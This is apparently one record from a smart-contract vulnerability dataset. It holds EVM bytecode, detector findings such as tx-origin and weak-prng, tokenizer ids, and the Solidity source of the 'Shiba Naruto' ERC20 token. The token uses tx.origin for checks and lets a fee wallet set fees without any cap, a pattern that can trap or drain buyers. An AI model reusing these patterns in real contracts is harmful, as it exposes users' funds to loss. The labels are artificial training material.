086016153b7565b61462f81615662565b840191505092915050565b60006146458261515c565b61464f81856151a7565b935061465f8185602086016153b7565b80840191505092915050565b60008154614678816153ea565b61468281866151a7565b9450600182166000811461469d57600181146146ae576146e1565b60ff198316865281860193506146e1565b6146b785615131565b60005b838110156146d9578154818901526001820191506020810190506146ba565b838801955050505b50505092915050565b60006146f7601483615196565b915061470282615680565b602082019050919050565b600061471a602b83615196565b9150614725826156a9565b604082019050919050565b600061473d603283615196565b9150614748826156f8565b604082019050919050565b6000614760602683615196565b915061476b82615747565b604082019050919050565b6000614783601183615196565b915061478e82615796565b602082019050919050565b60006147a6601c83615196565b91506147b1826157bf565b602082019050919050565b60006147c9601683615196565b91506147d4826157e8565b602082019050919050565b60006147ec600883615196565b91506147f782615811565b602082019050919050565b600061480f602483615196565b915061481a8261583a565b604082019050919050565b6000614832601983615196565b915061483d82615889565b602082019050919050565b6000614855601883615196565b9150614860826158b2565b602082019050919050565b6000614878602c83615196565b9150614883826158db565b604082019050919050565b600061489b601f83615196565b91506148a68261592a565b602082019050919050565b60006148be601083615196565b91506148c982615953565b602082019050919050565b60006148e1603883615196565b91506148ec8261597c565b604082019050919050565b6000614904602a83615196565b915061490f826159cb565b604082019050919050565b6000614927602983615196565b915061493282615a1a565b604082019050919050565b600061494a602083615196565b915061495582615a69565b602082019050919050565b600061496d602c83615196565b915061497882615a92565b604082019050919050565b6000614990602083615196565b915061499b82615ae1565b602082019050919050565b60006149b3602983615196565b91506149be82615b0a565b604082019050919050565b60006149d6602f83615196565b91506149e182615b59565b604082019050919050565b60006149f9602183615196565b9150614a0482615ba8565b604082019050919050565b6000614a1c603183615196565b9150614a2782615bf7565b604082019050919050565b6000614a3f601383615196565b9150614a4a82615c46565b602082019050919050565b6000614a62602c83615196565b9150614a6d82615c6f565b604082019050919050565b604082016000820151614a8e6000850182614575565b506020820151614aa16020850182614aeb565b50505050565b614ab08161531b565b82525050565b614abf8161531b565b82525050565b614ace81615349565b82525050565b614ae5614ae082615349565b6154ef565b82525050565b614af481615353565b82525050565b614b0381615353565b82525050565b6000614b158287614500565b601482019150614b258286614593565b602082019150614b358285614ad4565b602082019150614b458284614ad4565b60208201915081905095945050505050565b6000614b63828561466b565b9150614b6f828461463a565b91508190509392505050565b6000602082019050614b9060008301846144f1565b92915050565b6000608082019050614bab60008301876144f1565b614bb860208301866144f1565b614bc56040830185614ac5565b8181036060830152614bd781846145aa565b905095945050505050565b6000604082019050614bf760008301856144f1565b8181036020830152614c098184614517565b90509392505050565b6000604082019050614c2760008301856144f1565b614c346020830184614ac5565b9392505050565b6000602082019050614c506000830184614584565b92915050565b6000604082019050614c6b6000830185614584565b614c786020830184614afa565b9392505050565b6000602082019050614c9460008301846145e3565b92915050565b6000602082019050614caf60008301846145f2565b92915050565b60006020820190508181036000830152614ccf8184614601565b905092915050565b60006020820190508181036000830152614cf0816146ea565b9050919050565b60006020820190508181036000830152614d108161470d565b9050919050565b60006020820190508181036000830152614d3081614730565b9050919050565b60006020820190508181036000830152614d5081614753565b9050919050565b60006020820190508181036000830152614d7081614776565b9050919050565b60006020820190508181036000830152614d9081614799565b9050919050565b60006020820190508181036000830152614db0816147bc565b9050919050565b60006020820190508181036000830152614dd0816147df565b9050919050565b60006020820190508181036000830152614df081614802565b9050919050565b60006020820190508181036000830152614e1081614825565b9050919050565b60006020820190508181036000830152614e3081614848565b9050919050565b60006020820190508181036000830152614e508161486b565b9050919050565b60006020820190508181036000830152614e708161488e565b9050919050565b60006020820190508181036000830152614e90816148b1565b9050919050565b60006020820190508181036000830152614eb0816148d4565b9050919050565b60006020820190508181036000830152614ed0816148f7565b9050919050565b60006020820190508181036000830152614ef08161491a565b9050919050565b60006020820190508181036000830152614f108161493d565b9050919050565b60006020820190508181036000830152614f3081614960565b9050919050565b60006020820190508181036000830152614f5081614983565b9050919050565b60006020820190508181036000830152614f70816149a6565b9050919050565b60006020820190508181036000830152614f90816149c9565b9050919050565b60006020820190508181036000830152614fb0816149ec565b9050919050565b60006020820190508181036000830152614fd081614a0f565b9050919050565b60006020820190508181036000830152614ff081614a32565b9050919050565b6000602082019050818103600083015261501081614a55565b9050919050565b600060408201905061502c6000830184614a78565b92915050565b60006020820190506150476000830184614ab6565b92915050565b60006020820190506150626000830184614ac5565b92915050565b600060608201905061507d6000830186614ac5565b61508a6020830185614ac5565b6150976040830184614ac5565b949350505050565b60006150a96150ba565b90506150b5828261541c565b919050565b6000604051905090565b600067ffffffffffffffff8211156150df576150de615615565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561510b5761510a615615565b5b61511482615662565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006151bd82615349565b91506151c883615349565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156151fd576151fc61552a565b5b828201905092915050565b600061521382615349565b915061521e83615349565b92508261522e5761522d615559565b5b828204905092915050565b600061524482615349565b915061524f83615349565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156152885761528761552a565b5b828202905092915050565b600061529e82615349565b91506152a983615349565b9250828210156152bc576152bb61552a565b5b828203905092915050565b60006152d282615329565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061536b82615372565b9050919050565b600061537d82615329565b9050919050565b600061538f82615396565b9050919050565b60006153a182615329565b9050919050565b82818337600083830152505050565b60005b838110156153d55780820151818401526020810190506153ba565b838111156153e4576000848401525b50505050565b6000600282049050600182168061540257607f821691505b6020821081141561541657615415615588565b5b50919050565b61542582615662565b810181811067ffffffffffffffff8211171561544457615443615615565b5b80604052505050565b60006154588261531b565b915061ffff82141561546d5761546c61552a565b5b600182019050919050565b600061548382615349565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156154b6576154b561552a565b5b600182019050919050565b60006154cc826154dd565b9050919050565b6000819050919050565b60006154e882615673565b9050919050565b6000819050919050565b600061550482615349565b915061550f83615349565b92508261551f5761551e615559565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416c6c20746f6b656e73206d696e746564000000000000000000000000000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964207061796d656e7420616d6f756e7400000000000000000000600082015250565b7f4f6e6c7920454f41000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f496e76616c69642057686974656c69737420416d6f756e740000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f416c6c20746f6b656e73206f6e2d73616c6520616c726561647920736f6c6400600082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b615cc7816152c7565b8114615cd257600080fd5b50565b615cde816152d9565b8114615ce957600080fd5b50565b615cf5816152ef565b8114615d0057600080fd5b50565b615d0c81615349565b8114615d1757600080fd5b5056fea26469706673582212203f0905900458e69beacbf9f7e648beaf37f313ab427426d5bf6bec4ab8c7a42d64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17465, 3207, 2581, 20952, 2278, 22275, 2094, 2509, 4783, 12740, 16147, 2487, 6305, 2683, 2063, 2683, 16703, 2683, 19317, 2620, 27531, 2497, 18939, 2094, 2475, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 6105, 12324, 1000, 2524, 12707, 1013, 10122, 1012, 14017, 1000, 1025, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1019, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 29025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,662
0x97225cf9945014bfedc4b958620ed0f309576bc9
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /** ⠀⠀⠀⠀⠀⣠⣶⣦⠀⠀⠀⣀⣤⣴⣶⣶⡀⠀⠀⠀⠀⣀⣴⣦⠀ ⠀⠀⠀⢀⣾⣿⣿⣿⣠⣴⣿⣿⣿⣿⣿⣿⠀⣀⣤⣶⣿⣿⣿⡏⠀ ⣀⣀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀ ⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣤⣤⣤ ⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿ ⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁ ⠀⠀⣿⣿⠀⠀⠀⠀⠀⢀⡴⠖⠦⠼⢿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀ ⠀⠀⣿⣿⠀⠀⠀⠀⠀⣼⣇⣋⡗⠀⠈⢿⣿⢻⣿⡟⢿⣿⣿⣷⠀ ⠀⣀⣿⣿⣤⣤⣤⣤⣤⣬⣭⣥⣤⣤⣤⣤⣤⣼⣿⣇⡀⠙⣿⡿⠀ ⠀⣿⣿⣿⠛⠻⣿⡟⠛⠛⢛⠛⠛⠛⣿⡿⠛⢻⣿⣿⡇⠀⠀⠀⠀ ⠀⣿⣿⣿⠀⠀⢀⣠⣾⣿⣿⣿⣿⣦⣀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀ ⠀⠙⢿⣿⣶⣾⣿⣿⣿⡟⠿⠿⣿⣿⣿⣿⣶⣾⣿⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣦⣼⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠈⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ t.me/shibanaruto SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibaNaruto is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Shiba Naruto"; //// string public constant symbol = unicode"ShibNaruto"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 10; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (30 minutes)) { fee += 13; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 15000000001 * 10**9; // 1.5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610579578063dcb0e0ad1461058e578063dd62ed3e146105ae578063e8078d94146105f457600080fd5b8063a9059cbb14610519578063b2131f7d14610539578063c3c8cd801461054f578063c9567bf91461056457600080fd5b8063715018a6116100d1578063715018a6146104905780638da5cb5b146104a557806394b8d8f2146104c357806395d89b41146104e357600080fd5b80635090161714610425578063590f897e146104455780636fc3eaec1461045b57806370a082311461047057600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103af57806340b9a54b146103cf57806345596e2e146103e557806349bd5a5e1461040557600080fd5b806327f3a72a14610325578063313ce5671461033a57806332d873d814610361578063367c55441461037757600080fd5b80630b78f9c0116101b65780630b78f9c0146102b357806318160ddd146102d35780631940d020146102ef57806323b872dd1461030557600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f614610261578063095ea7b31461028357600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102546040518060400160405280600c81526020016b5368696261204e617275746f60a01b81525081565b6040516102139190611932565b34801561026d57600080fd5b5061028161027c36600461199c565b610609565b005b34801561028f57600080fd5b506102a361029e3660046119b9565b61067e565b6040519015158152602001610213565b3480156102bf57600080fd5b506102816102ce3660046119e5565b610694565b3480156102df57600080fd5b50683635c9adc5dea00000610209565b3480156102fb57600080fd5b50610209600e5481565b34801561031157600080fd5b506102a3610320366004611a07565b6106fb565b34801561033157600080fd5b506102096107e3565b34801561034657600080fd5b5061034f600981565b60405160ff9091168152602001610213565b34801561036d57600080fd5b50610209600f5481565b34801561038357600080fd5b50600854610397906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103bb57600080fd5b50600754610397906001600160a01b031681565b3480156103db57600080fd5b50610209600a5481565b3480156103f157600080fd5b50610281610400366004611a48565b6107f3565b34801561041157600080fd5b50600954610397906001600160a01b031681565b34801561043157600080fd5b5061028161044036600461199c565b61088d565b34801561045157600080fd5b50610209600b5481565b34801561046757600080fd5b506102816108fb565b34801561047c57600080fd5b5061020961048b36600461199c565b610928565b34801561049c57600080fd5b50610281610943565b3480156104b157600080fd5b506000546001600160a01b0316610397565b3480156104cf57600080fd5b506010546102a39062010000900460ff1681565b3480156104ef57600080fd5b506102546040518060400160405280600a815260200169536869624e617275746f60b01b81525081565b34801561052557600080fd5b506102a36105343660046119b9565b6109b7565b34801561054557600080fd5b50610209600c5481565b34801561055b57600080fd5b506102816109c4565b34801561057057600080fd5b506102816109fa565b34801561058557600080fd5b50610209610a9d565b34801561059a57600080fd5b506102816105a9366004611a6f565b610ab5565b3480156105ba57600080fd5b506102096105c9366004611a8c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060057600080fd5b50610281610b28565b6007546001600160a01b0316336001600160a01b03161461062957600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061068b338484610e73565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106b457600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561072957506001600160a01b03831660009081526004602052604090205460ff16155b801561074257506009546001600160a01b038581169116145b15610791576001600160a01b03831632146107915760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61079c848484610f97565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107cb908490611adb565b90506107d8853383610e73565b506001949350505050565b60006107ee30610928565b905090565b6007546001600160a01b0316336001600160a01b03161461081357600080fd5b600081116108585760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610788565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610673565b6008546001600160a01b0316336001600160a01b0316146108ad57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610673565b6007546001600160a01b0316336001600160a01b03161461091b57600080fd5b4761092581611591565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161078890611af2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061068b338484610f97565b6007546001600160a01b0316336001600160a01b0316146109e457600080fd5b60006109ef30610928565b905061092581611616565b6000546001600160a01b03163314610a245760405162461bcd60e51b815260040161078890611af2565b60105460ff1615610a715760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610788565b6010805460ff1916600117905542600f5567d02ab4870a76ca00600d556801a055690d9db80000600e55565b6009546000906107ee906001600160a01b0316610928565b6007546001600160a01b0316336001600160a01b031614610ad557600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610673565b6000546001600160a01b03163314610b525760405162461bcd60e51b815260040161078890611af2565b60105460ff1615610b9f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610788565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bdc3082683635c9adc5dea00000610e73565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190611b27565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caf9190611b27565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d209190611b27565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d5081610928565b600080610d656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b039586166004820152602481019490945260448401929092526064830152